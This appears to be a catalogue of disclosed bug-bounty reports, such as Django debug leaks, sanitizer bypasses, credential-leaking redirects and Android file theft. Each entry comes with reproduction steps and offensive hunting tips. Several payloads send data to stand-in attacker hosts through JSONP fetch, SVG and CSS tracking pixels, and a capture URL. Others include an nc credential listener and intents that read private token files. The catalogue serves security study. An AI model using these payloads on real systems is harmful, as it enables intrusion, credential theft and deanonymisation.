Django DEBUG=True leaks endpoints and enables further abuse
◆ Medium
Specimen #2201370 · mtn_group · none · 55 votes · resolved
Program mtn_groupSurface apiChain debug info disclosure -> hidden API routes -> arbitrar
Root cause
Django running with DEBUG=True renders full error pages exposing settings, installed apps, URL patterns and API routes; the leaked routes then enable arbitrary account registration and email enumeration.
Method
- Trigger a 404/500 to get the Django debug traceback page; harvest the resolved URL patterns / API endpoints.
- Hit the discovered auth routes, e.g. POST /api/auth/register/ to register arbitrary accounts.
- Use error/response differences to enumerate registered emails; note leaked endpoints like /api/domains/dns-records that expose origin IPs.
POST /api/auth/register/ HTTP/1.1
Host: backend.TARGET
X-Requested-With: XMLHttpRequest
Content-Type: application/json
{"email":"attacker@x.com","password":"password123"}
Insight — A Django yellow debug page is a full recon map: it hands you the URLconf and settings. Treat DEBUG=True not as a nag but as an entry point, then exercise the newly-revealed unauth API routes (register, enum, internal data). Same 'debug mode = foothold' theme as Laravel #2765259.
Real-world example
Search index over non-public data as a char-by-char secret oracle
◆ Medium
Specimen #2213251 · security · awarded · 54 votes · resolved
Program securitySurface web
Root cause
Full-text search indexes the entire (non-public) body of limited-disclosure reports, and returns a hit if the searched term appears anywhere in the full text; this boolean 'is this substring present' signal lets an attacker reconstruct secrets one character at a time.
Method
- Enable the search feature and confirm a search matches text that exists only in the non-public portion of a report.
- Anchor on a known prefix (e.g. PREFIX_) and search PREFIX_a, PREFIX_b, ... to find the next character by which query returns a hit.
- Extend the matched prefix iteratively until the full secret is recovered (~30 chars x secret length tries).
# boolean substring oracle via search:
PREFIX_a (no hit)
PREFIX_k (HIT) -> next char is k
PREFIX_ka, PREFIX_kb, ... (HIT on PREFIX_ko) -> continue
Insight — Any search/autocomplete/filter that indexes data you cannot directly read, but tells you whether a term matches, is an exfiltration oracle. Test whether hits reflect full (private) content vs only the visible summary; if full, extract secrets character-by-character.
Real-world example
HTML sanitizer image-blocker bypass via SVG feImage
◆ Medium
Specimen #3486747 · nextcloud · none · 53 votes · resolved
Program nextcloudSurface web
Root cause
Roundcube's sanitizer blocks remote resources by checking src/href on img/image/use via is_image_attribute(), but <feImage> is allowlisted as an element and its href is routed through wash_link(), which permits external HTTP(S) URLs, so remote content loads even with 'Block remote images' on.
Method
- Send an HTML email containing an SVG filter with an feImage href to an attacker URL.
- Open the email in the webmail with remote images blocked.
- Observe the outbound request (open tracking, IP, UA fingerprint) from the victim.
<svg width="1" height="1" style="position:absolute;left:-9999px;">
<defs><filter id="t">
<feImage href="https://COLLAB/track?email=victim@test.com" width="1" height="1"/>
</filter></defs>
<rect filter="url(#t)" width="1" height="1"/>
</svg>
Insight — When auditing HTML/SVG sanitizers, enumerate every element that can load a remote resource (feImage, image, use, pattern, mask, filter, CSS url(), background) and check each attribute path is subjected to the same remote-block check. feImage href is a classic missed sink. Same theme as srcset bypass #1021885.
Real-world example
Hardcoded/unrestricted API keys in Android APK
◆ Medium
Specimen #753868 · zenly · 750 · 52 votes · resolved
Program zenlySurface mobile-android
Root cause
Developers embed API keys/tokens as hardcoded strings in the APK; decompiling recovers them, and when the keys lack server-side restrictions they can be abused (e.g. the Google Maps key, easily retrievable by design, was unrestricted and could be used to run up billing / cause financial DoS, #1093667).
Method
- Decompile the APK (apktool/jadx) and grep resources/smali for keys and tokens.
- Validate each key with keyhacks-style checks to see what it authorizes.
- Test for missing restrictions (referrer/package/IP/API scope), e.g. call Google Static Maps API with the extracted key to prove unrestricted use.
# extract & scan
apktool d app.apk -o out && grep -RniE 'AIza|api[_-]?key|token|secret' out
# validate (keyhacks): https://github.com/streaak/keyhacks
curl 'https://maps.googleapis.com/maps/api/staticmap?center=0,0&zoom=1&size=100x100&key=<KEY>'
Insight — Client-side keys are not secret; the real bug is missing restrictions. After pulling keys from an APK, verify with keyhacks and, for Google Maps/Firebase/etc., demonstrate an unrestricted, billable call. Report impact (billing DoS, data access), not merely 'key is present'.
Real-world example
WordPress wp-json custom REST route leaks internal PII
◆ Medium
Specimen #540301 · automattic · awarded · 52 votes · resolved
Program automatticSurface api
Root cause
An open /wp-json REST API exposes the full route list, including a custom plugin endpoint that returns internal data (an internal email address) without authorization.
Method
- Request /wp-json/ to enumerate all registered REST routes (core + custom namespaces).
- Probe custom namespace routes (e.g. /wp-json/th/v1/...) that are not part of core.
- Read any route returning internal/PII data unauthenticated.
https://TARGET/wp-json/ # enumerate routes
https://TARGET/wp-json/th/v1/user_generation # custom route leaking internal email
Insight — On any WordPress target, pull /wp-json/ and focus on custom (non-core) namespaces; plugin/theme REST routes routinely skip permission_callback and leak internal data. Also seen as IDOR on wp-json routes (#1007988).
Real-world example
Excessive data exposure via .json representation of a page
◆ Medium
Specimen #327088 · security · awarded · 51 votes · resolved
Program securitySurface api
Root cause
The JSON representation of a resource serializes more fields than the HTML UI shows (sla_missed_count, sla_failed_count, researcher_count), exposing metrics the product intentionally hides from the policy page.
Method
- Take any page/resource and request its .json variant (e.g. /PROGRAM.json).
- Diff the JSON fields against what the UI renders.
- Read fields present in JSON but suppressed in the UI (SLA counts, researcher counts, etc.).
GET https://TARGET/PROGRAM.json # response includes sla_missed_count, sla_failed_count, researcher_count
Insight — UI suppression is not authorization. For every resource, fetch alternate representations (.json, ?format=json, GraphQL, mobile API) and diff for fields hidden in the web UI. Backend serializers over-return by default.
Real-world example
Auth tokens written world-readable (0644) via Node fs default
◆ Medium
Specimen #3630605 · aws_vdp · none · 51 votes · resolved
Program aws_vdpSurface desktopTag cloud
Root cause
An IDE/CLI (Kiro) writes SSO access+refresh tokens to ~/.aws/sso/cache/*.json using Node fs.writeFileSync, whose default mode is 0644 (world-readable), so any local user/process reads the bearer tokens. AWS CLI correctly uses 0600.
Method
- After sign-in, check token file permissions: stat the cache dir.
- Observe the app's token file is 0644 while sibling CLI tokens are 0600.
- Read the plaintext accessToken/refreshToken as any local user.
stat -f "%Op %Sp %N" ~/.aws/sso/cache/*.json
# 100644 -rw-r--r-- kiro-auth-token.json <- world readable
cat ~/.aws/sso/cache/kiro-auth-token.json # accessToken/refreshToken in cleartext
# root cause demo (Node default is 0644):
node -e "fs=require('fs');fs.writeFileSync('/tmp/t','x');console.log((fs.statSync('/tmp/t').mode&0o777).toString(8))"
Insight — Audit where desktop apps/CLIs persist secrets and check the file mode. Node/Go/Python default file creation is 0644; secrets must be chmod 0600 (or OS keychain). Compare an app's token perms against the vendor's own reference tool to prove the deviation.
Real-world example
phpinfo() page exposed leaking environment & server config
◆ Medium
Specimen #2641211 · mars · none · 50 votes · resolved
Program marsSurface web
Root cause
A page calling phpinfo() is publicly reachable, disclosing environment variables (often secrets), full server paths, loaded modules, and configuration useful for further attacks.
Method
- Discover a phpinfo page (common names: phpinfo.php, info.php, i.php, test.php, pi.php).
- Read the output for env vars (DB creds/API keys in $_ENV/$_SERVER), document root/absolute paths, disabled functions, and open_basedir.
- Use leaked paths/config for LFI/upload targeting or credential reuse.
# content discovery for phpinfo endpoints:
/phpinfo.php /info.php /i.php /test.php /php.php /pi.php
# tell: HTML title 'PHP <version>' + phpinfo tables
Insight — phpinfo is not just a version banner: it frequently leaks environment secrets and absolute paths that unlock other bugs (LFI web-root, upload paths, deserialization gadget locations). Always content-discover for it and read $_ENV/$_SERVER.
Real-world example
LeakyImages: cross-site deanonymization via cookie-authenticated images
◆ Medium
Specimen #329957 · x · USD 1120 · 49 votes · resolved
Program xSurface webTag account-takeover
Root cause
An image is served under cookie-based access control (only specific users can load it), and because images are exempt from the Same-Origin Policy an attacker page can force the victim's browser to fetch it and observe load success/failure to confirm identity.
Method
- Find a resource (image) whose access is gated by the victim's session cookie and is shareable only between attacker and victim
- Obtain the direct authenticated image URL
- On an attacker-controlled page, embed the image and hook onload/onerror
- If it loads, the current visitor is the targeted user (identity leaked cross-site)
<img src="https://ton.twitter.com/1.1/ton/data/dm/CONV_ID/MSG_ID/FILE.jpg:large"
onload="fetch('//COLLAB/hit?known=1')"
onerror="fetch('//COLLAB/hit?known=0')">
Insight — Any per-user cookie-authenticated media URL (DM attachments, private avatars, receipts) is a tracking-pixel primitive: images bypass SOP so load success reveals the viewer's identity on an attacker page. Test private-message/attachment URLs for cookie-only auth.
Real-world example
VPN tunnel bypass via non-RFC1918 'local network' subnet
◆ Medium
Specimen #1987680 · mozilla · awarded · 49 votes · resolved
Program mozillaSurface networkTag cloud-aws
Root cause
VPN clients exempt 'local network' traffic from the tunnel based only on the subnet the network hands out; a malicious router can advertise public (non-RFC1918) ranges as local so the client routes that traffic in cleartext outside the tunnel.
Method
- Stand up a rogue Wi-Fi/Ethernet network handing out a non-RFC1918 subnet (e.g. 216.165.47.0/24, or 0.0.0.0/1 and 128.0.0.0/1 to catch nearly everything)
- Have the victim connect and enable their VPN
- Visit an HTTP site whose IP falls in the advertised range (e.g. http://nyu.edu at 216.165.47.10)
- Observe ARP requests / cleartext traffic for that IP outside the tunnel in Wireshark
sudo ./vpn_tester.sh wlan0 wlan0 testnetwork abcdefgh --vpn-local nyu.edu
# rogue DHCP subnet 216.165.47.0/24 (or 0.0.0.0/1 + 128.0.0.0/1 to grab almost all traffic)
Insight — When testing any VPN, check whether 'exclude local network' trusts the DHCP-advertised subnet: advertise public IP ranges as local and confirm traffic leaks outside the tunnel. Fix is to only exempt RFC1918 ranges.
Real-world example
Export/CSV leaks identifying field that defeats anonymity
◆ Medium
Specimen #2286764 · liberapay · none · 47 votes · resolved
Program liberapaySurface webTag account-takeover
Root cause
An export endpoint includes a field (patron_avatar_url) for users who chose 'secret'/anonymous, and the avatar image can be reverse-image-searched to deanonymize the supposedly hidden donor.
Method
- Find an export/download endpoint (CSV/JSON) tied to a privacy-sensitive relationship
- Diff exported fields against what the UI hides for anonymous/secret entries
- Extract the leaking field (avatar URL, email hash, internal id)
- Deanonymize via reverse image search or correlation
GET https://liberapay.com/<account>/patrons/export.csv
# row for a 'Secret' donor still contains patron_avatar_url -> reverse image search
Insight — Exports frequently include more columns than the UI: for any 'anonymous/secret' feature, pull the CSV/JSON export and check whether an avatar URL, email, or stable id leaks identity even when names are hidden.
Real-world example
HTML-email CSS sanitizer bypass via CSS character escapes (url() tracker)
◆ Medium
Specimen #3443563 · nextcloud · none · 46 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Roundcube's style sanitizer decodes CSS character escapes after (not before) sanitization, so \0026quot; decodes to " and closes a string token, letting attacker CSS (background:url()) survive and fire an external request that leaks the reader's IP and user-agent.
Method
- Craft an HTML email whose style attribute uses a CSS escape to smuggle a quote/entity that breaks out of a string token
- Include an external url() reference pointing at a collaborator/logging host
- Send to the victim; when they open it in HTML mode the sanitizer-passed CSS resolves url() and hits your server
- Read the victim IP/User-Agent from your logs
<div style='content: "\0026quot;; background: url(//COLLAB/pixel); content:""; width:100%; height:100%;'>x</div>
Insight — When auditing HTML/CSS sanitizers, test order-of-operations: CSS numeric/character escapes (\0026 = &, \22 = ") decoded after filtering can re-introduce quotes/entities to break out of tokens. Any surviving url()/image-set() is an IP/UA-leaking tracking pixel in email/rich-text contexts.
Real-world example
Credentials exposed in a public log file
◆ Medium
Specimen #1121972 · acronis · USD 100 · 45 votes · resolved
Program acronisSurface webChain exposed log.txt -> admin MD5 hash -> crack -> adminTag account-takeover
Root cause
An application writes authentication events (including password hashes) to a log file that is served publicly at a predictable path, disclosing admin credentials.
Method
- Probe for exposed log/debug files at common paths (log.txt, debug.log, error.log, app.log)
- Read the file for auth events containing usernames and password hashes
- Crack weak hashes (MD5) offline
- Authenticate as the disclosed account
GET https://www.devicelock.com/log.txt
# ...login=admin;md5=2bca2f877b7a727861b59f4a4039d2e9
Insight — Fuzz for public log files; auth flows frequently log credentials/hashes. Pair with hash cracking. Common names: log.txt, logs/, debug.log, laravel.log, storage/logs, npm-debug.log.
Real-world example
Debug endpoint reflects request headers, exposing HTTPOnly session cookie
◆ Medium
Specimen #723090 · deptofdefense · awarded · 43 votes · resolved
Program deptofdefenseSurface webChain header-reflection endpoint + XSS -> HTTPOnly session cookTag account-takeover
Root cause
A diagnostic endpoint prints the incoming request headers into the response body, so the HTTPOnly session cookie (JSESSIONID) becomes readable in the DOM, defeating the HTTPOnly protection when combined with any XSS.
Method
- Find header-echo/debug endpoints (e.g. /csstest, /echo, /headers, /debug).
- Request the endpoint authenticated and confirm Cookie/JSESSIONID is reflected in the body.
- Chain with any XSS: script fetches the endpoint and reads the HTTPOnly cookie from the response.
GET /csstest HTTP/1.1
Host: TARGET
Cookie: JSESSIONID=...
# response body contains the JSESSIONID value
Insight — HTTPOnly is only as strong as the app never reflecting the cookie. Hunt for header/echo/debug endpoints; a same-origin fetch to one turns a weak reflected XSS into full session theft.
Real-world example
Authorization header leaked across cross-host redirect (SSRF client)
◆ Medium
Specimen #3642600 · arkadiyt-projects · none · 40 votes · resolved
Program arkadiyt-projectsSurface apiChain cross-host 302 -> Authorization re-sent to attacker host Tag webhookTag account-takeover
Root cause
An HTTP client (ssrf_filter) rebuilds each redirected request from the original request options and reapplies sensitive headers (Authorization) even when the redirect crosses to a different host, so an attacker-controlled redirect target receives the caller's credentials.
Method
- Point the client at an attacker/redirector URL with an Authorization/bearer header
- Redirector returns 302 to an attacker collector on a different host
- Client re-sends the original Authorization header to the collector
- Attacker replays the stolen token against the protected API
# redirector.test -> 302 Location: http://collector.test/
# SsrfFilter.get('http://redirector.test', headers: {'Authorization' => 'Bearer service-token-123'})
# collector.test receives: Authorization: Bearer service-token-123 -> replay to api.test/private
Insight — Whenever a server-side fetcher (URL preview, webhook, SSRF-guard lib, avatar fetch) forwards user-set or service auth headers and follows redirects, test a 302 to a different host and check whether Authorization/Cookie is re-sent. Standard libs (and hardened SSRF filters) often strip host but not credentials on cross-origin redirects.
Real-world example
Android exported activity file read bypass via symlink
◆ Medium
Specimen #375083 · slack · $500 · 37 votes · resolved
Program slackSurface mobile-androidTag file-upload
Root cause
An exported activity accepts a file:// URI and only validates the path string (contains 'com.Slack'); a symlink whose path contains the token but points to a private DB file bypasses the check, letting a malicious app exfiltrate private app files.
Method
- Malware creates a symlink under its own dir pointing to a victim app private file (e.g. databases/account_manager)
- World-read the symlink, then fire an ACTION_SEND intent at the exported UploadActivity with the symlink file:// URI plus FLAG_GRANT_READ_URI_PERMISSION
- Target app resolves/uploads the linked private file
ln -s /data/data/com.Slack/databases/account_manager /data/data/com.attacker/account_manager
Intent i = new Intent("android.intent.action.SEND");
i.setClassName("com.Slack","com.Slack.ui.UploadActivity");
i.setType("*/*");
i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
i.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/data/com.attacker/account_manager"));
startActivity(i);
Insight — String/path-based validation on file:// URIs is defeatable with symlinks; test exported components that consume file URIs by pointing a same-named symlink at the app's own private files.
Real-world example
Client auto-attaches Basic-auth to server-controlled download URL (no origin check)
◆ Medium
Specimen #3400143 · nextcloud · $250 · 37 votes · resolved
Program nextcloudSurface desktopChain malicious server -> directDownloadUrl -> credential exTag account-takeover
Root cause
The desktop client's HttpCredentialsAccessManager injects Authorization: Basic on every request unless DontAddCredentialsAttribute is set; the directDownloadUrl feature passes a server-supplied URL to GETFileJob without validating origin, so a malicious server points it at attacker.com and harvests plaintext creds.
Method
- Stand up a malicious/compromised WebDAV server the victim connects to
- In a PROPFIND response set <oc:downloadURL> (directDownloadUrl) to an attacker-controlled host
- Client fetches that URL and auto-appends Authorization: Basic base64(user:pass)
- Capture the header at the attacker endpoint
<d:prop>
<oc:downloadURL>http://attacker:9911/steal</oc:downloadURL>
</d:prop>
<!-- client sends: Authorization: Basic base64(user:password) -->
Insight — Any HTTP client that globally attaches credentials must exempt server-specified/cross-origin URLs. Look for 'direct download URL', CDN-redirect, or preview-URL features that are server-controllable and test whether auth headers follow to an arbitrary host.
Real-world example
curl credential leak on cross-protocol/port redirect (CVE-2022-27774)
◆ Medium
Specimen #1551586 · ibb · $2400 · 36 votes · resolved
Program ibbSurface other
Root cause
curl's 'same host' check that should stop auth creds following a redirect was flawed: it ignored protocol changes and port numbers, so an HTTP(S) URL redirected to ftp:// on another host/port still forwarded user:password (and TLS-SRP creds).
Method
- Auth request (curl -L --user user:pass https://first.tld/x) gets a 301 to ftp://second.tld:9999
- curl follows and sends USER/PASS to the FTP host
- Attacker captures cleartext creds on the FTP listener
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
# victim: curl -L --user foo:secret https://firstsite.tld/redirectpoc
# fake ftp: while true; do echo -e "220 x\n331 x\n530 x" | nc -lp 9999; done
Insight — 'Same-host' allowlists that only string-compare hostnames miss scheme and port; when auditing redirect-following HTTP clients, test cross-protocol (https->ftp) and cross-port redirects to leak Authorization.
Real-world example
PII (phone number) leaked in verbose error response via state tampering
◆ Medium
Specimen #225243 · uber · awarded · 36 votes · resolved
Program uberSurface api
Root cause
A passwordless-signup API returns the victim's phoneNumberE164 inside an error payload when the client-side 'state' field is set to a value the backend rejects; the error handler serializes more account data than the success path.
Method
- Submit victim UUID as loginId with state=NOT_STARTED to advance the flow
- Replay with state=SIGN_IN (an 'illegal' client state)
- Backend returns INVALID_REQUEST error whose body contains phoneNumberE164
POST /rt/users/passwordless-signup HTTP/1.1
Content-Type: application/json
{"loginId":"<victim-uuid>","state":"SIGN_IN","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}
# response error object includes "phoneNumberE164":"+91..."
Insight — Error/exception branches often serialize richer objects than success responses. Force illegal state-machine transitions (bad 'state'/'step' enums) and diff the error body for leaked PII.
Real-world example
LDAP admin credentials committed to public GitHub (.env.testing)
◆ Medium
Specimen #1004412 · acronis · awarded · 36 votes · resolved
Program acronisSurface otherTag supply-chain
Root cause
Environment/config files (.env, .env.testing) with real LDAP_ADMIN_USER/PASSWORD were committed to a public repo, exposing internal directory creds usable for lateral movement.
Method
- Search GitHub (including org members' personal repos) for env files and secret keys
- Locate .env.testing with LDAP_ADMIN_PASSWORD
- Validate creds against the org's exposed LDAP/services
# GitHub dork examples
LDAP_ADMIN_PASSWORD path:.env
filename:.env.testing LDAP
"LDAP_BASE_DN" org:TARGET
Insight — Pivot from a program's asset names to its engineers' personal GitHub accounts; .env/.env.testing/.env.local frequently hold live directory and service creds outside the org's own repos.
Real-world example
AWS access key + S3 upload policy leaked in cleartext mobile API response
◆ Medium
Specimen #764243 · bcm · awarded · 35 votes · resolved
Program bcmSurface mobile-androidTag cloud-awsTag file-upload
Root cause
An unauthenticated mobile upload endpoint returns the S3 pre-signed POST policy and X-Amz-Credential (AWS access-key-id) in cleartext with no auth token, letting anyone push arbitrary files to the bucket.
Method
- Frida-bypass SSL pinning on the Android app to read HTTPS traffic
- Trigger the profile-image upload flow
- Capture the /v1/attachments/s3/upload_certification response containing bucket name, access-key-id, policy and signature
- Reuse the fields to POST arbitrary files/sizes to the bucket
POST /v1/attachments/s3/upload_certification
-> returns: {"postUrl":"https://bcm-hk.s3.ap-east-1.amazonaws.com/","fields":[{"X-Amz-Credential":"AKIA...WNXE/.../s3/aws4_request"},{"Policy":"<base64>"},{"X-Amz-Signature":"..."}]}
# replay fields as multipart POST to postUrl to upload any file
Insight — Always decrypt mobile/API traffic (SSL-pinning bypass) and grep responses for AKIA/X-Amz-Credential/policy/signature. Upload-provisioning endpoints often hand the client more S3 authority (or a too-broad policy) than the upload requires.
Real-world example
Raw JSON response exposes fields hidden from the UI (private program metadata)
◆ Medium
Specimen #159526 · security · $500 · 35 votes · resolved
Program securitySurface api
Root cause
The directory search endpoint returns full program objects (soft_launched flag, bug_count, minimum_bounty, handle, policy) in JSON even for soft-launched/private programs; the web UI filters these client-side but the API does not.
Method
- Call the search/list endpoint directly (Accept: application/json)
- Inspect the raw response in Burp, not the rendered page
- Read fields (soft_launched:true, policy, bounty) omitted from the UI
GET /programs/search?query=<q>&sort=published_at:descending HTTP/1.1
Accept: application/json
X-Requested-With: XMLHttpRequest
Insight — Trust the wire, not the page. Compare raw API responses against the rendered UI; server-side objects routinely carry private flags/fields the frontend hides.
Real-world example
Authorization bypass: signed access token leaked in error response
◆ Medium
Specimen #137502 · vimeo · awarded · 35 votes · resolved
Program vimeoSurface webChain share error -> leaked config token -> full private vid
Root cause
The /[VIDEO_ID]?action=share Ajax endpoint, when asked for a private video the caller can't access, returns an error that nonetheless embeds the video's config URL including the secret token s=[SECRET], which grants full access to the private video config.
Method
- Request the share endpoint for a private VIDEO_ID with X-Requested-With: XMLHttpRequest
- Error response leaks player config URL with s=<secret>
- Fetch player.vimeo.com/video/<id>/config?...&s=<secret> to stream the private video
GET /<VIDEO_ID>?action=share HTTP/1.1
X-Requested-With: XMLHttpRequest
# leaks: https://player.vimeo.com/video/<id>/config?...&s=<SECRET>
Insight — Endpoints that deny access still frequently echo signed URLs/tokens in the error body; capture the whole response and reuse any s=/sig=/token= value against the resource server, which may not re-check authorization once the token is valid.
Real-world example
JSONP endpoint (XSSI) leaks privacy-restricted data cross-origin
◆ Medium
Specimen #361951 · liberapay · awarded · 35 votes · resolved
Program liberapaySurface webTag cors
Root cause
A JSON endpoint supports a JSONP callback (jsonp_dump) and gates data only on server-side session auth; any third-party page can <script src> it with ?callback= and read the victim's private (hide_receiving) donation data from the executed callback.
Method
- Find an endpoint that reflects ?callback= as JSONP
- Host an attacker page with <script src=endpoint?callback=rip>
- Victim (authenticated) visits; callback executes with their private data
- Exfiltrate the argument
<script>function rip(a){ fetch('//attacker/?d='+encodeURIComponent(JSON.stringify(a)));}</script>
<script src="https://liberapay.com/~153779/charts.json?callback=rip"></script>
Insight — Any JSON endpoint that also speaks JSONP is a cross-origin data-theft (XSSI) vector; test for ?callback=/?jsonp= reflection and check whether it honors the victim's cookies while ignoring same-origin policy.
Real-world example
Sinatra show_exceptions error page leaks env/config/source
◆ Medium
Specimen #315205 · greenhouse · awarded · 34 votes · resolved
Program greenhouseSurface web
Root cause
A Sinatra app runs with show_exceptions enabled; any unhandled exception (e.g. malformed oauth_redirect_uri cookie) renders a debug error page dumping environment variables, app configuration, and source-code snippets.
Method
- Find a Sinatra/Rack endpoint
- Send malformed input that triggers an unhandled exception (bad cookie/param value)
- Read env vars, config and source from the returned error page
GET /integrations/oauth/create?state=x&code=x HTTP/1.1
Host: oauth-redirector.services.greenhouse.io
Cookie: oauth_redirect_uri=https%3A%2F%2Fapp.<x>greenhouse.io%2Fcallback
Insight — Fingerprint dev/debug error handlers (Sinatra show_exceptions, Werkzeug, Flask debug, Rails better_errors) by feeding malformed cookies/params; the stack page leaks env secrets and source.
Real-world example
API JSON exposes UI-hidden privacy field (is_supporter)
◆ Medium
Specimen #1423704 · fetlife · awarded · 34 votes · resolved
Program fetlifeSurface api
Root cause
A conversation JSON response includes is_supporter:true alongside show_badge:false; the badge-hiding privacy toggle only suppresses the UI element, while the API still serializes the underlying attribute.
Method
- Start a conversation with the victim (works unless victim inbox is 'strict')
- Open the conversation and read the /conversations/{id} JSON in devtools
- Check is_supporter regardless of show_badge
GET /conversations/{id} HTTP/1.1
# response: "is_supporter": true, "show_badge": false
Insight — Privacy toggles frequently hide only the rendered element; the raw object still carries the sensitive boolean. Inspect JSON for the 'hidden' attribute directly.
Real-world example
Auth token in GET URL indexed by search engines
◆ Medium
Specimen #221558 · grab · awarded · 34 votes · resolved
Program grabSurface webTag account-takeover
Root cause
A sensitive page passes the auth_token in the URL query string on a host that permits search-engine indexing, so private messages/tokens get crawled and cached.
Method
- Notice sensitive data loaded via GET with token in URL
- Confirm host is indexable (no robots/noindex)
- Dork for cached copies exposing tokens/PII
# Google dorks harvested from this report:
passenger site:grab-attention.grabtaxi.com
allinurl:@mailbox_domain site:target.com # leaked emails
# + short entropy strings for leaked tokens
Insight — Secrets in URLs (auth_token, reset tokens, session ids) end up in referrers, logs and search caches. During recon always dork indexable subdomains for token/email patterns.
Real-world example
Publicly exposed .git directory -> source/secret leak
◆ Medium
Specimen #218465 · x · $280 · 33 votes · resolved
Program xSurface web
Root cause
A deployed webroot includes the .git directory; requesting internal git files (logs/refs, config, index, objects) lets an attacker reconstruct source code and recover secrets/history.
Method
- Probe /.git/HEAD and /.git/logs/refs/heads/master
- If readable, dump the repo (git-dumper) and rebuild source
- Grep recovered code/history for credentials and endpoints
GET /.git/logs/refs/heads/master HTTP/1.1
Host: TARGET
# then: git-dumper http://TARGET/.git ./out
Insight — Always check /.git/ (and /.svn/, /.hg/) on every host; a readable .git yields full source and often committed secrets. staging-* subdomains are prime candidates.
Real-world example
Excessive data exposure in invitation/collaboration JSON
◆ Medium
Specimen #283014 · HackerOne · USD 1000 · 32 votes · resolved
Program HackerOneSurface web
Root cause
The JSON returned by the /invitations/<token> collaboration endpoint embedded the full list of a program's team members, exposing data the invitee had no right to see.
Method
- Obtain/visit a collaboration invitation endpoint /invitations/<token>
- Inspect the raw JSON response (not just the rendered UI)
- Extract the full program team-member roster included in the payload
GET /invitations/<token>.json HTTP/1.1
Host: hackerone.com
# response JSON contains the full team_members array
Insight — Rendered pages often hide fields the API still returns. Always diff the JSON/GraphQL response against what the UI shows; membership/roster arrays are a classic over-fetch on invitation, share, and collaboration endpoints.
Real-world example
Exposed VCS/dotfiles and config on production vhosts
◆ Medium
Specimen #273726 · WordPress · none · 32 votes · resolved
Program WordPressSurface web
Root cause
Deployment/CI dotfiles were served directly by production web servers, exposing credentials and infrastructure detail (.travis.yml with DB creds, .htaccess auth config, .bash_history, .ssh/known_hosts).
Method
- Enumerate common exposed paths across each vhost/subdomain
- Request dotfiles/config: /.travis.yml, /.htaccess, /.bash_history, /.ssh/known_hosts, /.git/config, /.env
- Harvest credentials and host inventory from the returned files
https://TARGET/.travis.yml
https://TARGET/.htaccess
https://sub.TARGET/.bash_history
https://sub.TARGET/.ssh/known_hosts
Insight — Fuzz every subdomain for CI/VCS/shell dotfiles, not just the apex. .travis.yml/.gitlab-ci.yml frequently hold DB/test creds; .bash_history and known_hosts map the internal fleet. Same host was also susceptible to Host-header injection (open redirect / reset poisoning) as a bonus.
Real-world example
Decrypt opaque user IDs by flipping a folder_id parameter
◆ Medium
Specimen #402410 · Bumble · awarded · 32 votes · resolved
Program BumbleSurface api
Root cause
The Live Stream 'following' API returned encrypted person IDs for one folder_id but decrypted (raw numeric) IDs for another; the server exposed both a masked and an unmasked view of the same data selectable by a request parameter.
Method
- Add the target's encrypted person_id to a Following folder (SERVER_SECTION_USER_ACTION, folder_id 34)
- Request the user list with folder_id 33 -> encrypted IDs; with folder_id 34 -> decrypted IDs
- Read the raw numeric ID from the folder_id=34 response
- Remove the user to keep the list clean
POST /bmaapi.phtml?SERVER_GET_USER_LIST HTTP/1.1
Host: badoo.com
X-Message-type: 245
{"version":1,"message_type":245,"body":[{"message_type":245,"server_get_user_list":{"folder_id":34,"preferred_count":255,"offset":0,"user_field_filter":{"projection":[200]}}}],"is_background":false}
# folder_id 33 = encrypted IDs, folder_id 34 = decrypted IDs
Insight — When an app hands you opaque/encrypted identifiers, fuzz the sibling enum params (folder_id, view, mode, projection). Backends frequently keep an internal 'decrypted' variant reachable by changing one integer, defeating the whole ID-obfuscation scheme.
Real-world example
Splunk server-info endpoint leaks license key (CVE-2018-11409)
◆ Medium
Specimen #1860905 · U.S. Dept Of Defense · none · 32 votes · resolved
Program U.S. Dept Of DefenseSurface web
Root cause
Splunk <=7.0.1 exposes server/build/license details, including the license key, through an unauthenticated raw services endpoint.
Method
- Identify a Splunk web instance
- Request the raw server-info services endpoint with output_mode=json
- Read server version, build, GUID and license key from the JSON
https://TARGET/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json
Insight — Fingerprint Splunk and hit the __raw services endpoints for unauthenticated info leaks. Same pattern applies to other enterprise apps: a documented CVE path returns build/license/config JSON without auth.
Real-world example
Exfiltrate a write-only secret by changing the integration's destination URL
◆ Medium
Specimen #2104591 · GitLab · awarded · 32 votes · resolved
Program GitLabSurface webTag webhook
Root cause
A stored, masked ('write-only') Sentry token was re-sent by the server to whatever URL was configured in the Sentry error-tracking settings; a maintainer could point that URL at their own host and capture the token (incomplete fix for CVE-2022-4365).
Method
- Open an integration settings page whose secret token is masked/write-only
- Change only the configured endpoint URL to an attacker-controlled server
- Trigger a test/save so the server sends the stored token to the new URL
- Capture the leaked token on your server
# In Sentry error-tracking settings: keep token field untouched,
# set URL to http://ATTACKER/collect and save/test.
# Server replays the stored token in the outbound request to ATTACKER.
Insight — 'Write-only'/masked secret fields (webhook secrets, API tokens, SMTP passwords, integration keys) are leakable whenever the app re-sends the stored value to a user-controlled destination. Change the target URL/host and see if the old secret rides along.
Real-world example
Android deeplink activity opens file:// in InAppBrowser -> token file theft
◆ Medium
Specimen #1122177 · Reddit · awarded · 32 votes · resolved
Program RedditSurface mobile-androidChain Malicious app -> exported deeplink activity -> IAB loaTag account-takeover
Root cause
The exported RedditDeepLinkActivity routed any URL to an InAppBrowser without validating scheme/host; a malicious app supplies a file:// URL to the app's own private files, which the IAB (running with the app's file access) loads and exposes, leaking the session token.
Method
- From a third-party app, start the exported deeplink activity with a file:// URI to the victim app's private prefs
- The app opens it in its InAppBrowser, which can read app-private/protected files
- Read the session/auth token out of the loaded shared_prefs file
adb shell am start -n "com.reddit.frontpage/com.reddit.frontpage.RedditDeepLinkActivity" -d "file:///data/data/com.reddit.frontpage/shared_prefs/com.reddit.auth_active.USERNAME.xml"
// or from an app:
Intent i = new Intent();
i.setClassName("com.reddit.frontpage","com.reddit.frontpage.RedditDeepLinkActivity");
i.setData(Uri.parse("file:///data/data/com.reddit.frontpage/shared_prefs/com.reddit.auth_active.USERNAME.xml"));
startActivity(i);
